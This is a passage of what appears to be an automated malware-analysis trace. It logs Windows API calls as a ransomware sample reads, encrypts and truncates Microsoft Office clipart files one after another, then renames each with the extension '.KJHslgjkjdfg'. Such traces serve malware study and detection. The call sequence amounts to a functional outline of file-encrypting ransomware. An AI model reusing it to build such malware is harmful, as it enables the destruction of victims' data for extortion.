lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.340] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.340] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.340] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.340] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x22b0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x22b0, lpOverlapped=0x0) returned 1 [0174.351] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x22b0, dwBufLen=0x22b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x22b0) returned 1 [0174.351] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.351] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x22b0, lpOverlapped=0x0) returned 1 [0174.352] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.352] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.352] SetEndOfFile (hFile=0x114) returned 1 [0174.355] GetProcessHeap () returned 0x2a0000 [0174.355] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.355] GetProcessHeap () returned 0x2a0000 [0174.355] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.355] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.kjhslgjkjdfg")) returned 1 [0174.356] CloseHandle (hObject=0x114) returned 1 [0174.356] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153095.WMF", cAlternateFileName="")) returned 1 [0174.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.357] GetProcessHeap () returned 0x2a0000 [0174.357] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.357] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.357] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.358] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.360] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.360] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.360] GetProcessHeap () returned 0x2a0000 [0174.360] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.360] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.360] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.360] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.360] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.360] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.361] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.361] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.361] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.361] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.361] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.361] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.361] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe78, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe78, lpOverlapped=0x0) returned 1 [0174.361] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe80, dwBufLen=0xe80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe80) returned 1 [0174.361] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.361] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe80, lpOverlapped=0x0) returned 1 [0174.361] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.361] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.361] SetEndOfFile (hFile=0x114) returned 1 [0174.364] GetProcessHeap () returned 0x2a0000 [0174.364] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.364] GetProcessHeap () returned 0x2a0000 [0174.364] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.364] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.kjhslgjkjdfg")) returned 1 [0174.366] CloseHandle (hObject=0x114) returned 1 [0174.366] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153265.WMF", cAlternateFileName="")) returned 1 [0174.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.367] GetProcessHeap () returned 0x2a0000 [0174.367] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.367] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.367] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.367] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.367] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.367] GetProcessHeap () returned 0x2a0000 [0174.367] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.367] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.367] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.367] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.374] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.374] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.375] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.375] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.375] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.375] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.375] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.375] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.375] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbc0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xbc0, lpOverlapped=0x0) returned 1 [0174.375] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbc0, dwBufLen=0xbc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbc0) returned 1 [0174.375] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.375] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xbc0, lpOverlapped=0x0) returned 1 [0174.375] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.375] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.375] SetEndOfFile (hFile=0x114) returned 1 [0174.378] GetProcessHeap () returned 0x2a0000 [0174.378] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.378] GetProcessHeap () returned 0x2a0000 [0174.378] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.378] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.kjhslgjkjdfg")) returned 1 [0174.380] CloseHandle (hObject=0x114) returned 1 [0174.380] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153273.WMF", cAlternateFileName="")) returned 1 [0174.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.380] GetProcessHeap () returned 0x2a0000 [0174.381] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.381] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.381] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.381] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.381] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.381] GetProcessHeap () returned 0x2a0000 [0174.381] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.381] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.381] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.381] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.385] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.385] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.385] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.386] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.386] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.386] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.386] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.386] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.386] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4e80, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4e80, lpOverlapped=0x0) returned 1 [0174.404] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4e80, dwBufLen=0x4e80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4e80) returned 1 [0174.405] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.405] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4e80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4e80, lpOverlapped=0x0) returned 1 [0174.405] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.405] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.405] SetEndOfFile (hFile=0x114) returned 1 [0174.408] GetProcessHeap () returned 0x2a0000 [0174.408] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.408] GetProcessHeap () returned 0x2a0000 [0174.408] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf.kjhslgjkjdfg")) returned 1 [0174.409] CloseHandle (hObject=0x114) returned 1 [0174.409] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153299.WMF", cAlternateFileName="")) returned 1 [0174.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.410] GetProcessHeap () returned 0x2a0000 [0174.410] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.410] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.410] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.410] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.413] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.413] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.413] GetProcessHeap () returned 0x2a0000 [0174.413] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.413] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.413] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.413] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.414] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.414] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.414] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.414] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.414] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.414] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.414] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.414] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.414] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8f0c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8f0c, lpOverlapped=0x0) returned 1 [0174.423] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8f10, dwBufLen=0x8f10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8f10) returned 1 [0174.424] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.424] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8f10, lpOverlapped=0x0) returned 1 [0174.424] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.424] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.424] SetEndOfFile (hFile=0x114) returned 1 [0174.427] GetProcessHeap () returned 0x2a0000 [0174.427] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.427] GetProcessHeap () returned 0x2a0000 [0174.427] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) 